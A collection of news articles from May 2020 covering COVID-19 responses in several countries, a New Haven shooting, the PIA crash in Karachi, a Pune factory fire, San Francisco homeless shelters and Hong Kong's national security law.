"Governor DeSantis has been strategic, clear and transparent in the development of the strategy to defeat COVID-19 in Florida," Helen Aguirre Ferre, the governor's communications director, said in a statement to The Herald. "By providing residents with important information, evolving as it was as we learned about this new disease, Floridians prepared well, practiced good hygiene, social distancing, and changed behaviors to mitigate the effects of COVID-19."

Medical workers watch a formation of the U.S. Navy Blue Angels and the U.S. Air Force Thunderbirds fly over Mount Sinai Medical Center as a collaborative salute to first responders and other essential personnel during the coronavirus disease (COVID-19) outbreak in Miami, Florida, U.S., May 8, 2020.

REUTERS/Marco Bello

State Sen. Jose Javier Rodriguez, a Democrat, told The Herald that he understood the state didn't want to start an unnecessary panic, but said that he believes the lack of transparency was to preserve the state's image. Florida relies on a healthy image to attract tourists, including the young people who flock to the state's beaches for spring break.

"From the beginning, the DeSantis administration, including the DOH, appeared to approach this pandemic from the perspective of managing their image and managing the crisis from a public relations standpoint, and not from a public health standpoint," he said. "They seem to be playing games with public records."

Ferre, though, said that the governor's approach had been a success.

"Our low numbers in relation to ICU beds and ventilator use speaks to the success of the public health policy implemented under the direction of Governor DeSantis [and] the important collaboration with local officials," she told the paper.

Read the original article on Business Insider
As Muslims around the world celebrate Eid al-Fitr this weekend -- the breaking of the monthlong Ramadan fast -- precautions against the coronavirus are preventing some aspects of the Islamic holiday from being celebrated in the usual way.

Depending on the sighting of the moon, Eid celebrations this year will begin either on May 23 or May 24.

But many Eid prayer gatherings, outdoor festivals, and other public celebrations have been canceled around the world this year due to the COVID-19 pandemic.

Travel restrictions are also making it difficult for some extended families to come together for the traditional holiday feast -- gatherings that health experts warn could result in fresh outbreaks of the disease.

State-sponsored political rallies tied to the end of Ramadan have been curtailed, for example.

And many markets that normally would be crowded with shoppers ahead of the Eid festival have been closed due to lockdown orders.

Even the tradition of giving money to the poor has been impacted by public health restrictions and concerns that the disease could be transmitted to those who handle infected money.

Gathering Together, Apart

Experts say the biggest threat to public health during Eid al-Fitr is the tradition of communities gathering at mosques for prayers -- a practice considered obligatory by some Islamic clerics and seen as optional by others.

Even in conservative Muslim communities where mosques have remained open throughout Ramadan, some worshippers are opting out of going to the mosque for Eid prayers this year.

The Afghan village of Tagab, northeast of Kabul in Kapisa Province, is a community where villagers are expected to be at the mosque for prayers.

But the pandemic is on the minds of many there.

Earlier this week, the bodies of three coronavirus victims in Tagab were returned from the Kabul hospital where they died.

It will be very different from previous Eids, Tagab resident Fazal Rabi told RFE/RLs Radio Free Afghanistan.

Just now I met a friend from my work place, Rabi explained. He told me that I have not been seen recently in the mosque and wanted to know if I was busy.

I told him Im not busy -- so it cant be a pretext for not attending prayers in the mosque. But I told him it is because of the ongoing quarantine, Rabi said. The coronavirus pandemic is here and, therefore, I dont go to the mosque.

In nearby Laghman Province, in the town of Mehtarlam, Imran Arab plans to start the Eid holiday the way he does every year. After bathing in the morning, he will put on new clothes before the local imam recites the Eid prayers.

Just like other Eid al-Fitr festivals, Arab will eat some cake and recite "takbeerat" in praise of Allah.

But Arab and his family are staying away from the crowd gathering at their local mosque this year.

I also have this fear of the coronavirus and I have a plan to stay at home, Arab said. If I did the Eid prayer in the mosque, well, in that case, we will be forced to stay at home under quarantine with the disease.

Sardar Mohammad, a resident of Pul-e Charkhi near Kabul, says people should give up the idea of gathering together for Eid prayers this year.

They must pay attention and impose these restrictions on themselves, he says, noting that dozens of inmates at Pul-e Charkhi prison have tested positive for the virus and several families nearby have also been infected.

Thousands of different people come together to pray, he said. If just one person with the coronavirus comes there, they can infect 100 other people and devastate the whole village.

Russia's 'Unique' Celebrations

The grand mufti of Russia, Talgat Tadzhuddin, says the entire month of Ramadan has been unique this year.

Russias top Muslim cleric endorsed the closure of mosques during Ramadan due to the pandemic and has insisted there be no mass gatherings for group prayers.

Tadzhuddin says followers are not obliged to go to a mosque for group prayers.

Instead, he has said worshippers can fulfill their Ramadan obligations online by watching imams lead prayers and read from the Koran.

In Moscow in recent years, authorities have been forced to close streets during Eid al-Fitr because of enormous overflowing crowds gathering at the citys main mosques -- including many migrant workers from predominantly Muslim countries.

But this year, Moscows mosques will remain closed through the Eid holiday.

Meanwhile, in Russia's North Caucasus region of Daghestan, authorities announced on May 21 that the cities of Kizlyar and Kizilyurt will be locked down for the duration of the four-day Eid holiday.

In neighboring Chechnya, where gathering at mosques for Eid prayers is considered an obligation for Muslims, authorities also have canceled prayer gatherings and ordered mosques to remain closed.

Chechen Interior Minister Ruslan Alkhanov expanded those restrictions further on May 21, announcing a four-day ban on all "movement" by people across Chechnya except for staff from the emergency services.

Alkhanov said those who violate the ban from May 23 to May 26 "will be punished in accordance with the law."

Later that day, it was reported that Ramzan Kadyrov -- the Kremlin-backed authoritarian leader of Chechnya -- was put under medical observation in Moscow due to a suspected coronavirus infection, according to Russian news agencies.

Salakh Mezhiev, the mufti of Chechnya, has called on Muslims to celebrate Eid al-Fitr at home with their families.

Such restrictions also impact the tradition of charity, which is a pillar of Islam and an important aspect of Ramadan.

Normally, worshippers attending Eid prayers give cash gifts to poor people near the mosques.

This year, even activists from foundations that help impoverished people in the North Caucasus and Moscow say they will not set up their traditional Ramadan charity tents.

Rustan Minnikhanov, the president of Russias Republic of Tatarstan, informed Russian President Vladimir Putin on May 20 that Eid al-Fitr will only be celebrated by Muslims in their homes this year.

Central Asian Cancellations

In Tajikistan and Kyrgyzstan, Islamic clerics this week also announced they are canceling the traditional public gatherings at mosques for Eid prayers.

In fact, all former Soviet republics in Central Asia this year have banned gatherings for iftar -- the nightly, fast-breaking meal served after sundown throughout the month of Ramadan.

In Kazakhstan, Grand Mufti Nauryzbai Kazhy Tanganuly announced the cancellation of all special prayer gatherings at mosques across the country.

Neighboring Uzbekistan has also ordered mosques across the country closed during the month of Ramadan.

Officials there have asked that charitable donations be given to special centers for the poor rather than directly to people at their homes in order to reduce person-to-person contact.

Relaxed Rules In Pakistan, Iran

To be sure, the adherence to health precautions during Ramadan has varied from country to country.

In neighboring Pakistan, mosques that had been closed in March and April have been opened for congregational prayers. Other strict lockdown rules have also been relaxed.

RFE/RLs Radio Mashaal reports that many people gathering in Pakistani mosques are not taking proper health precautions.

The relaxation of lockdown rules also has resulted in throngs of people flooding public bazaars to buy food and gifts for the holiday.

In Iran, hit hard by the pandemic, the government says communal Eid al-Fitr prayers will be allowed in areas that have been designated as low risk.

Travel restrictions between Iranian provinces have also been lifted in time for Eid, allowing extended families to come together and celebrate the feast.

In early March, mosques and holy shrines across Iran were ordered closed -- prompting angry Shiite hard-liners to storm shrines in the cities of Qom and Mashhad.

But in recent weeks, mosques have been allowed to reopen in more than 130 low-risk towns and cities -- provided they observe strict health precautions.

Worshippers who enter mosques in Iran must wear masks and gloves and can only stay inside for 30 minutes.

Irans mosques are also prohibited from serving food and drinks, and they must provide hand sanitizer to worshippers.

Social distancing is more important than collective prayer, President Hassan Rohani declared on May 4 when Irans mosques began to reopen.

Tehran has also reluctantly canceled nationwide Quds Day rallies that have been staged each year since 1979 when Ayatollah Ruhollah Khomeini declared the last Friday of Ramadan as a day for Muslims to express outrage at Israel and solidarity with Palestinians.

Initially, Iranian officials considered motorcade parades to replace the government-sponsored anti-Israel marches and public rallies.

But even the idea of motorcade parades has been dropped amid reports of fresh COVID-19 outbreaks in some parts of the country.

Instead, Iran's Supreme Leader Ayatollah Ali Khamenei delivered a nationally televised speech on May 22.

As of May 21, Iran had reported about 130,000 confirmed cases of the coronavirus including more than 7,200 deaths -- although experts suspect Tehran has been underreporting the full extent of its outbreak.

With reporting by RFE/RLs Radio Afghanistan, Radio Mashaal, Current Time, and RFE/RLs Kyrgyz, Tajik, and North Caucasus services
NEW HAVEN  A 34-year-old city man who was wounded in a triple-shooting Thursday has died, police said.

Roberto Rivera of Lloyd Street died Friday morning from a gunshot wound to the head, Police Chief Otoniel Reyes said at an afternoon press conference near where the shooting occurred.

Reyes said Rivera was the intended target when the shooter opened fire at Lloyd and Wolcott streets. This was not a random act, Reyes said. This was a targeted act of violence.

Rivera made his way partly up Lloyd Street toward Exchange Street before collapsing, police said. Reyes would not say whether the shooting was at close range or offer a motive because the shooting is under investigation. It is the fourth reported homicide in New Haven in 2020.

He also gave no information about a possible suspect. We do have a fair amount of leads, but we do need more information, Reyes said.

Police originally had reported a double-shooting, but later determined a third man had been wounded Thursday afternoon in Fair Haven, according to Capt. Anthony Duff. A 28-year-old New Haven man was shot in the hand and a 20-year-old Waterbury man, who was driven to Yale New Haven Hospital at 9:25 p.m. Thursday, suffered a non-life-threatening injury to his leg, Duff said.

Officers responded to Fair Haven around 2:30 p.m. Thursday for a report of a double-shooting, Duff said previously. Both men were taken to Yale New Haven Hospital for treatment, Duff said.

As of 8 p.m., officers continued to investigate the shooting on the street, Duff said. The crime scene was determined to include portions of Lloyd Street, Exchange Street, Wolcott Street and Saltonstall Avenue.

Police and neighborhood leaders called the press conference Friday to assure residents they were not in danger and to ask for people to come forward with information.

There is a reassurance that there wont be retaliation, said Assistant Chief Karl Jacobson. Its terrible that a young man lost his life. ... We do have a walking beat in this area. We would like to sustain that.

The Fair Haven district manager, Sgt. Michael Fumiatti, said this area has a lot of challenges, including drug activity and another shooting this year.

This area is generally pretty busy but every time we come out here, people help us, offering photos and videos, he said.

Alder Jose Crespo, D-16, said if residents didnt want to contact police or needed an interpreter, they could call him at 203-668-4613.

Im collaborating with the people, the constituents, to get people to give information, he said.

The Rev. Wayne McCrae of Upright Ministries Outreach, who is acting as a chaplain for the neighborhood, said our prayers are with our Police Department and this community.

Anyone with information about the shootings can anonymously call 866-888-TIPS, email ecic@newhavenct.gov or text NHPD and a message to 274637 (CRIMES).

Anyone with information is asked to call New Haven police at 203-946-6304. Callers can remain anonymous.

william.lambert@hearstmediact.com; edward.stannard@hearstmediact.com
Leaders of 22 opposition parties on Friday accused the Centre of unabashedly usurping powers of states and demanded restoration of Parliament functioning and oversight with immediate effect.

The opposition parties also demanded immediate reversal of all unilateral policy decisions, especially on the changes in labour laws, at a meeting convened by the Congress through video conferencing.

Those who attended the meeting discussed the situation arising out of the COVID-19 pandemic and put forth an 11-point charter of demands before the central government.

They also accused the Centre of having failed in discharging its responsibilities in a timely, effective and sensitive manner during the pandemic.

The opposition parties, including the TMC, JD(S) and CPI(M), said the economy has collapsed and all sections of society face acute distress, with livelihoods being destroyed and lives lost.

"Sadly, we have to point out that the Union government has failed in discharging its responsibilities in a timely, effective and sensitive manner," a joint statement from the parties said.

It said grand announcements have been made but they do nothing meaningful to alleviate the sufferings of people and address the pressing concerns of farmers and farm labour, of migrant and other workers, of trade and commerce, and MSMEs.

"In fact, the Union government has unabashedly usurped powers vested in the states undermining the constitutionally guaranteed federal democracy," the statement said.

The like-minded opposition parties said they believe that this is neither the time for the government at the Centre to indulge in showmanship nor one-upmanship, but this is the time for a gigantic collective endeavour.

"This is what the people of India need, and this is what the people of India demand. It is important that the government of India reaches out and engages in a dialogue with all political parties in a systematic manner, listen seriously to the suggestions that we have to make, activate Parliamentary institutions like Standing Committees and be genuine in helping the states financially and otherwise," the parties said in the statement.

They also demanded from the Centre direct cash transfer of Rs 7,500 per month to families outside the Income Tax bracket for six months and said Rs 10,000 should be given to them immediately along with free ration.

The parties also demanded that the Centre provide free transportation for all migrant workers to their native places and make immediate and reliable arrangements to repatriate all Indian students and other citizens stranded overseas, Congress chief spokesperson Randeep Surjewala said at a press conference.

He said that the opposition parties have also demanded that the Centre immediately provide a financial package for states, besides a clear and meaningful economic strategy focused on revival and poverty alleviation instead of propaganda.

"The 22 parties represent over 60 to 70 per cent of the country's population and hoped that the prime minister and the government would take a positive view of their demands," Surjewala said.

The parties in the statement said the Rs 20 lakh crore economic package and its contents mislead the people of India.

"We demand that the government present a revised and comprehensive package that will be a true fiscal stimulus in order to stimulate demand in the economy," the statement said.

Release substantial funds to the state governments who are in the frontline of combating the pandemic, the parties demanded.

They also asked the Centre to communicate in clear terms its exit strategy from the lockdown, if any.

The leaders of 22 opposition parties included West Bengal Chief Minister and TMC supremo Mamata Banerjee, Maharashtra Chief Minister and Shiv Sena chief Uddhav Thackeray, Jharkhand Chief Minister and JMM leader Hemant Soren, NCP supremo Sharad Pawar, DMK leader M K Stalin and JD(S) leader HD Deve Gowda, besides CPI-M's Sitaram Yechury and CPI's D Raja.

Congress leaders Rahul Gandhi, A K Antony, Ahmed Patel, Ghulam Nabi Azad, Adhir Ranjan Chowdhury and Mallikarjun Kharge were also present during the video conference.

Leaders of some other regional parties such as Sharad Yadav (LJD), Omar Abdullah (NC), Tejashwi Yadav (RJD), Jitan Ram Manjhi (HAM), Upendra Kushwaha (RLSP), Jose K Mani (KC-M), Badruddin Ajmal (AIUDF), Jayant Chaudhary (RLD) and Raju Shetty (Swabhimani Paksha) also participated.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Registered nurses with profiles in the federal Express Entry pool were invited to apply for a provincial nomination in Nova Scotias latest PNP draw

Nova Scotia invites nurses in new Labour Market Priorities draw Registered nurses with profiles in the federal Express Entry pool were invited to apply for a provincial nomination in Nova Scotias latest PNP draw

Nova Scotia invites nurses in new Labour Market Priorities draw Registered nurses with profiles in the federal Express Entry pool were invited to apply for a provincial nomination in Nova Scotias latest PNP draw

Nova Scotia invites nurses in new Labour Market Priorities draw Registered nurses with profiles in the federal Express Entry pool were invited to apply for a provincial nomination in Nova Scotias latest PNP draw Shelby Thevenot Aa Accessibility Font Style Serif

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Nova Scotia held a new Provincial Nominee Program (PNP) draw on May 22, inviting nurses to apply for a provincial nomination for Canadian permanent residence.

The Nova Scotia Nominee Program (NSNP) released details on eligibility criteria for the draw, but did not say how many people were invited.

Candidates need to have at least three years of work experience as a registered nurse or registered psychiatric nurse, which is NOC 3012 in Canadas National Occupational Classification index.

Find out if you are eligible for any Canadian immigration programs

There is also a Canadian Language Benchmark (CLB) score requirement of at least eight or higher in English or French in all language abilities.

They were also required to hold a bachelors degree or have completed a post-secondary program of at least three years.

When applying for the nomination, candidates must include copies of their language tests, and proof of education including an Educational Credential Assessment (ECA) report issued by a designated organization if the degree or diploma was obtained at a foreign institute.

Candidates invited from Express Entry pool

In order to be considered for a provincial nomination from Nova Scotia through the Labour Market Priorities Stream, candidates first need to have a profile in the Express Entry system.

Express Entry manages applications for Canadian permanent residence through three federal immigration programs: Federal Skilled Worker Program (FSWP), Federal Skilled Trades Program (FSTP), and Canadian Experience Class (CEC).

Express Entry candidates are ranked on the Comprehensive Ranking System (CRS). They are awarded points based on factors such as their age, work experience, education, and language ability in English or French.

Now that Nova Scotia has issued invitations, also known as Letters of Interest, invited candidates now have 60 calendar days to complete their application for a provincial nomination.

If they receive the provincial nomination from Nova Scotia, they will automatically be awarded an additional 600 CRS points, which will effectively guarantee that they will receive an Invitation to Apply (ITA) in a subsequent Express Entry draw.

Find out if you are eligible for any Canadian immigration programs

 2020 CIC News All Rights Reserved
Cabinet ministers will meet this afternoon to consider the latest public health advice about coronavirus.

Ministers will further consider proposals to make anyone who enters the country self-isolate for two weeks.

Last week Taoiseach Leo Varadkar said the government plans to make it mandatory for anyone arriving in Ireland to self-isolate for 14 days.

It would also be mandatory for people to fill in a locator form to say where they will do this, which up to now has been optional.

However, the system is yet to come into place and cabinet ministers will consider it again today.

The National Public Health Emergency team made the recommendation last week.

It has been meeting again this morning to consider the latest medical advice and it will be presented to the government this afternoon.

Ministers are also expected to discuss the plans for the predictive grading of the Leaving Cert.

The meeting comes at the end of the first week of phase one of the easing of lockdown restrictions, with the first real evidence coming in on what the impact has been on the economy.

The government is not due to make a decision on moving to phase two of the plan until June 5.
Federal highway officials have reversed approval for San Francisco to open a 200-bed Navigation Center in the Bayview neighborhood  a blow that could potentially throw into doubt plans for dozens of homeless shelters across the state.

Plans for those sites might require federal approval if they are in the right-of-way for state highways. The Federal Highway Administration owns some of those rights-of-way. Gov. Gavin Newsom has set aside hundreds of similar state-owned properties, largely empty Caltrans-managed parcels next to state highways, to provide short-term shelters for cities confronting the homelessness crisis.

So far, San Franciscos plans for the Bayview Navigation Center  a homeless shelter with services  is the only approval thats been reversed. But federal officials are also challenging approval for two existing Navigation Centers in the South of Market neighborhood: one at Division and 13th streets and another at Fifth and Bryant streets, which house 186 beds and 84 beds, respectively.

Numerous sites statewide could also be at risk, including shelter venues in Los Angeles and Sacramento.

Officials at the Federal Highway Administration had previously signed off on San Franciscos plan to open a Navigation Center under Interstate 280, in a vacant parking lot in a heavily industrial area.

The agency, however, revoked that approval in a May 7 letter to the California Department of Transportation, writing that the shelter location had been approved without an appropriate environmental review.

Vincent Mammano, the FHWAs division director for California, also wrote that the agency is reconsidering whether a temporary homeless shelter is an appropriate use of the interstate right-of-way.

Mayor London Breeds spokesman, Jeff Cretan, said the city will proceed with its plans to open the Bayview Navigation Center, regardless. He said the center could open by the end of the year, if construction begins in the next few weeks as planned. San Francisco plans to spend $19.2 million on the Bayview shelter.

San Francisco is facing a crisis and we need more shelter and housing for people living on the streets, Cretan said. We are continuing to move forward with the site in the Bayview under state authorization.

Caltrans Director Toks Omishakin criticized the FHWAs move in a letter to the agency Monday, saying several locations in question may not be within the federal right-of-way or need such approval.

Omishakin wrote that the agencys unexpected revocations had created a highly unfortunate situation, noting that cities have already spent significant amounts of money to construct these shelter sites.

He also rejected Mammanos assertion that shelters might not belong near highways, arguing that moving homeless people into adjacent centers helps prevent injuries.

California has a significant homeless population, many of whom are already living on interstate rights of way, Omishakin wrote. Caltrans sees these leases as an innovative solution to an existing problem.

Philip Mangano, former homelessness czar for presidents George W. Bush and Barack Obama, said it appears that the federal highway officials who initiated the decision might not have checked with the right officials at the White House. Last year, President Trump said he wanted to see federal facilities used to house homeless people in California, and he hasnt publicly changed that position since then.

What the (FHWA) is currently doing is discordant with what the president has been talking about, most importantly in California, said Mangano, who as a member of the governors task force on homelessness has been participating in talks for the past year on using federal land for homeless facilities.

He added, The president was talking about using every bit of federal property he could get his hands on to address homelessness, and now theres one agency thats going counter to that? Thats shocking.

Newsoms office has reached out to the highway administration to discuss rescinding the order, several sources told The Chronicle.

In addition to environmental reviews, Mammano, the FHWA administrator, said it appears Caltrans is trying to transfer the land for less than fair market value. He warned that threatens the federal transportation investment.

It appears that Caltrans is looking to dispose of its highway (right-of-way) for less than (fair market value) on a programmatic basis, Mammano wrote in a May 14 letter.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Sacramento Mayor Darrell Steinberg, who co-chairs the governors homelessness task force, said that he was talking Friday with high officials in the White House, and thinks the issue can be resolved in Californias favor. His administration plans to open a 100-bed shelter on Caltrans land in the fall, and that plan is now jeopardized.

We are trying to break through, and I am hopeful that we will because the opportunity to bring more people indoors ... is too important, Steinberg said. Were talking to some key people and Im hopeful it will work out.

As for the idea of tearing down the Division Circle Navigation Center in San Francisco, Steinberg said: Come on. They shouldnt tear anything down.

The clear contradiction here is what gives me hope this will be resolved soon, he said.

Caltrans owns the land beside and beneath the freeways where the homeless shelters sit or are planned, but the FHWA has oversight because the agency accepts federal funding.

We take money from the federal government and it comes with rules and oversight, said Matt Rocco, a Caltrans spokesman.

San Francisco officials, faced with a lack of affordable vacant land, have embraced the chance to build Navigation Centers on excess Caltrans parcels. The centers offer a range of on-site services, such as medical care and housing counseling, to help people find a more stable living situation.

The Bayview area is home to the citys second-largest concentration of homeless people, outside of the Tenderloin, and has a major shortage of shelter beds. San Francisco Supervisor Shamann Walton, who represents the area, said plans for a shelter there are long overdue.

Obviously the federal government doesnt know whats best for local communities, he said. That should be up to us to decide.

Dustin Gardiner, Kevin Fagan and Michael Cabanatuan are San Francisco Chronicle staff writers. Email: dustin.gardiner@sfchronicle.com, kfagan@sfchronicle.com, mcabanatuan@sfchronicle.com Twitter: @dustingardiner, @ctuan, @KevinChron
Passing national security law in HK shows central government's determination: expert

Global Times

By Bai Yunyi Source:Global Times Published: 2020/5/21 22:16:38

Formulating a national security legislation for Hong Kong shows that the central government is determined to safeguard its sovereignty over the special administrative region and will protect the territory from falling into the hands of the hostile forces at all cost, especially after the Hong Kong SAR government has been weakened in the past years fending off growing risks caused by local secessionists and foreign intervention, a senior expert close to the central government on Hong Kong affairs told the Global Times on Thursday.

Proposing the Establishment and Improvement of the Legal System and Implementation Mechanism for the Safeguarding of National Security in the Hong Kong SAR aims to not only tackle the current chaos in Hong Kong, but also prevent Hong Kong from posing a potential national security threat to the country, Lau Siu-kai, vice president of the Chinese Association of Hong Kong and Macao Studies, told the Global Times on Thursday.

While the riots continue in Hong Kong and the US increases its efforts to contain the Chinese mainland, Washington's intention of using Hong Kong as a pawn to counterbalance the China has become increasingly palpable, the expert said. Faced with such a severe situation, it has become an urgent task for the Chinese central government to deal with the chaotic situation in Hong Kong, and such determination and urgency had turned out to be very strong in the communique of the fourth plenary session of the 19th CPC Central Committee held in October 2019, he noted.

"When the pros and cons are evaluated, the only uncertain thing left is how to implement the law," Lau added.

In the face of mounting external pressures, the Hong Kong Special Administrative Region government's ability to govern has been continuously weakened, and confidence has been lost in the SAR government to push forward Article 23 of the Basic Law in the short term, Lau noted.

"Though it would be successfully established, the effectiveness and strength of the law cannot be expected," he said, noting that under such circumstances, the central government would formulate national laws that would be effective in Hong Kong, and would place them in Annex III of the Basic Law to ease the social unrests through decisive and powerful means.

This also shows that to protect national sovereignty over the SAR and prevent the jurisdiction of the SAR from falling into the hands of hostile forces, the central government "will maintain its basic interests and principles at all costs."

The adoption of the "Hong Kong version of the National Security Law" will inevitably incur fierce reaction and protests in the city. However, the central government's determination would also change the psychological expectations of pan-democratic groups, which might reverse the situation in Hong Kong, Lau noted.

"Previously, some people always had this delusion that the central government would not take aggressive and decisive measures as it is afraid of a public backlash in Hong Kong or US sanctions. But they have to reevaluate the price they are willing to pay to achieve their goals," he said.

The Chinese government is taking Hong Kong as an example, sending a clear message to the US on issues related to China's national sovereignty and security, and will never yield. It's also a strong signal to other separatist forces abroad, Lau added.

Lau noted that when it is passed, the US will likely use the Hong Kong Human Rights and Democracy Act to challenge China. But he cautioned that the passage of the Hong Kong act last year was, in essence, a "tentative threat" to test China's courage.

"China is now using the Hong Kong issue to send a crystal clear message to the US that China will never back down on issues involving its national sovereignty and security. This strong signal is also a serious warning to Taiwan authorities and other separatist forces overseas," he said.



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A Pakistan International Airlines (PIA) aircraft on Friday crashed near the Jinnah International Airport in Karachi. The Airbus 320 carrying 90 passengers and 8 crew members crashed at Karachi's Model Colony a minute before landing. There are no confirmed reports yet on the death toll.

Pakistan news organisation Dawn quoted Sindh health department saying that so far, 37 people have been confirmed dead. However, it is unclear if the deceased were all on board the flight or include area residents as well where the crash took place. Three people are confirmed to have survived the crash, Dawn reported quoting officials.

The flight was en route from Lahore to Karachi and crashed when at 800 feet. According to the initial report, there was a failure of the landing gear when the aircraft was near the runway. An emergency has been imposed in Karachi. Around 4-5 houses and 6-7 cars have been destroyed and a fire has engulfed five houses.

Pakistan Prime Minister Imran Khan tweeted, "Shocked & saddened by the PIA crash. Am in touch with PIA CEO Arshad Malik, who has left for Karachi & with the rescue & relief teams on ground as this is the priority right now. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased."

Dawn quoted PIA spokesperson Abdul Sattar who confirmed the crash and added that Flight 8303 was carrying 90 passengers and 8 crew members from Lahore to Karachi.

Videos showed plumes of smoke rising from the site of the crash, said Dawn. Ambulances and rescue officials arrived at the scene to help residents, added Dawn.

Taking to micro-blogging site Twitter, the Inter-Services Public Relations (ISPR) said that Army Quick Reaction Force and Sindh Pakistan Rangers reached the site for relief and rescue efforts alongside civil administration.

It also tweeted that Pakistan Army Aviation helicopters were flown for damage assessment and rescue efforts. The Urban Search and Rescue Teams are also being sent on-site for rescue efforts.

Pakistan Chief of Army Staff (COAS) General Qamar Javed Bajwa condoled the loss of lives in PIA plane crash, tweeted the ISPR. "COAS condoles loss of precious lives in tragic PIA plane crash. Shares grief of bereaved families in this difficult time. COAS directed provision of full assistance to civil administration in rescue/ relief effort," it also tweeted.

The Minister of Health and Population Welfare has declared an emergency in all major hospitals of Karachi due to the plane crash, reported Dawn quoting Meeran Yousuf, the media coordinator to the Sindh health minister.

In 2019, a PIA aircraft escaped accident after it skidded off the runway while landing at Gilgit airport, said Dawn. The passengers remained safe in the accident, but the plane suffered considerable damage, it added.

In 2016, a PIA flight PK-661 carrying 48 passengers and crew had crashed on the way to Islamabad from Chitral on December 7 and there were no survivors from the flight, said Dawn.
Pune, May 22 : A deafening blast followed by a massive fire broke out at a chemical plant in Kurkurmbh MIDC complex in Daundhere on Friday morning but the fire has been brought under control now, officials said.

The blast-cum-blaze erupted in the Kusum Distillation & Refinery Pvt. Ltd. unit in the industrial complex.

Tongues of flames from which thick clouds of smoke emanated were visible for several km outside the factory premises even as the fire brigade teams rushed to battle it.

Five fire tenders and water tankers battled the blaze which was brought under control this afternoon and cooling operations are currently on, according to an official.

Local MP Supriya Sule said that as a precautionary measure, workers in adjoining factories were evacuated, and urged people not to panic as the situation was fully under control.

Though the exact cause of the fire is yet to be ascertained, preliminary investigations revealed that several drums containing inflammable materials were stored in the plant which exploded when the fire spread.

There have been no casualties in the incident and further probe is underway, even as top officials including Collector N. K. Ram, police and others were monitoring the situation.
<! Akin Abayomi Lagos state commissioner for health: Lagos leads coronavirus chart >

Lagos State continues to rack up huge numbers to hold tight to its grim reputation as the coronavirus epicentre of Nigeria.

By Abankula

On Thursday night, fresh tallies of confirmed cases released by the Nigerian Centre for Disease Control(NCDC) gave Lagos another huge number.

Out of the 339 cases confirmed by the NCDC, Lagos took the lion share of 139.

This was more than the combined total for Kano, Oyo, Edo, Katsina, Kaduna and Jigawa.

The total for the six states is 134, with Lagos recording 139.

Only once has Kano returned a higher caseload than Lagos since testing began in March.

As of today, the state of an estimated 20 million people has 3,093 cases.

Again the number is bigger than the combined total of 2,999 for the next nine states and the Abuja FCT.

These are Kano 875 cases, FCT 446 cases, Katsina 303, Borno 235 cases.

Others are Bauchi 228, Jigawa 225, Oyo 190, Ogun 183, Kaduna 170 and Edo 144.

Lagos also has a caseload that is 3.2 times the cases in the remaining 24 states.

Thus it has become clear that President Buhari must have foreseen the present virus state in Lagos, when he approved a special grant of N10billion to the Lagos government.

Lagos has received a lot of support from the private sector, members of which have donated isolation centres, some equipped.

And many have donated PPEs, ventilators, masks and other materials needed to confront the coronavirus pandemic in the state.

So far, the state has discharged 662 COVID-19 patients, according to its commissioner for health Akin Abayomi.

See below Lagos v the rest of Nigeria:
Houston is one of several cities in the South that could see spikes in COVID-19 cases over the next four weeks as restrictions are eased, according to new research that uses cellphone data to track how well people are social distancing.

The updated projection, from PolicyLab at Children's Hospital of Philadelphia, found that traffic to non-essential businesses has jumped especially in Texas and Florida, which have moved aggressively to reopen.

In Harris County, the model predicts the outbreak will grow from about 200 new cases per day to more than 2,000 over the next month.

"Some areasparticularly in the souththat have moved more quickly to reopen are showing a higher risk for resurgence," the researchers wrote in a blog post. "If people in Houston and Palm Beach, Fla., for example, arent being cautious with masking in indoor crowded locations and with hygiene and disinfection, local governments may need to intervene again should they lose control of the epidemic."

Bexar County, which includes San Antonio, will also see an increase in COVID-19 cases according to the projection, but would still be below 100 new cases per day. Bexar reported 44 new cases on Wednesday, a Hearst Newspapers data analysis shows.

And in north Texas, UT Southwestern Medical Center found in a study last week that Dallas County could see 800 new cases a day - about three times what its seeing now  by late June if restrictions are relaxed.

More than 51,000 cases of COVID-19 have been recorded overall in the state, and more than 1,400 have died, according to the Department of State Health Services.

COVID-19 Tracker: Interactive maps track coronavirus cases in San Antonio, Texas counties and the U.S.

Texas has been doing well by some measures as it reopens  hospitalizations are mostly steady and the rate of people testing positive for COVID-19 has fallen as access to testing expands. The state reported about 26,000 tests per day over the past week, nearing Republican Gov. Greg Abbott's goal of 30,000.

But daily new cases remain at their highest point since the outbreak began in March. Outbreaks are especially hitting El Paso and meatpacking plants in the Panhandle. Abbott has sent in "surge response teams" to help contain local outbreaks, but as more of the state reopens, public health officials worry that infections will spread too quickly.

Abbott has said all along that he expected the number of Texans testing positive for COVID-19 to increase as the states ability to test improved. But as he reopens the state, hes said hes focused on the states declining positivity and hospitalization rates.

All the trends are going good in Texas, Abbott said during a Monday interview on Fox News.

The PolicyLab research is tracking 389 large counties across the country with active outbreaks. It found that projections are best in places that are relaxing restrictions selectively in areas with fewer cases and less transmission.

"Given these cautious actions by our governments, we have already seen that the predicted resurgence has not occurred in most places that are beginning to reopenrather, daily cases are either plateauing or falling," the researchers wrote. "But the picture our models are painting for Texas and Florida provide ample evidence to others who would choose to move too quickly. We see these concerns even as we adjust for additional testing capacity that might have inflated our forecasts."
Source: Xinhua| 2020-05-22 12:45:45|Editor: huaxia

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WASHINGTON, May 21 (Xinhua) -- China's economy is bouncing back from the coronavirus pandemic with a pick-up in consumer spending, manufacturing and investment, according to a U.S. investment expert.

"When thinking about prospects for the Chinese economy, one of the most important factors is whether the coronavirus remains under control. At this point, China appears to have wrestled COVID-19 into submission," Andy Rothman, investment strategist at San Francisco-based investment firm Matthews Asia, wrote Monday in an analysis.

"It is also encouraging that two weeks after a five-day national holiday in China, when over 100 million people traveled for leisure, there has not been a spike in COVID-19 cases," Rothman said, adding China's economy looks to be well on its way to recovering from the coronavirus-imposed lockdown.

"A return to normal may not happen until next year, but consumer spending, manufacturing and investment appear to be all bouncing back strongly," he said.

As consumption accounted for almost 60 percent of China's gross domestic product (GDP) growth last year, Rothman said the recovery in consumer spending is critical for China's rebound from the pandemic.

Citing the recovery of sales of autos and homes in April, Rothman said it reflects that China's consumers have both money and confidence in the future to spend it.

He also noted the importance of government's support for workers and businesses, which has laid the foundation for an economic recovery.

"As a result, when the National People's Congress meets later this month, I expect only a modest stimulus designed to broaden the cushion and accelerate the pace of the recovery back towards normal," said the investment expert.

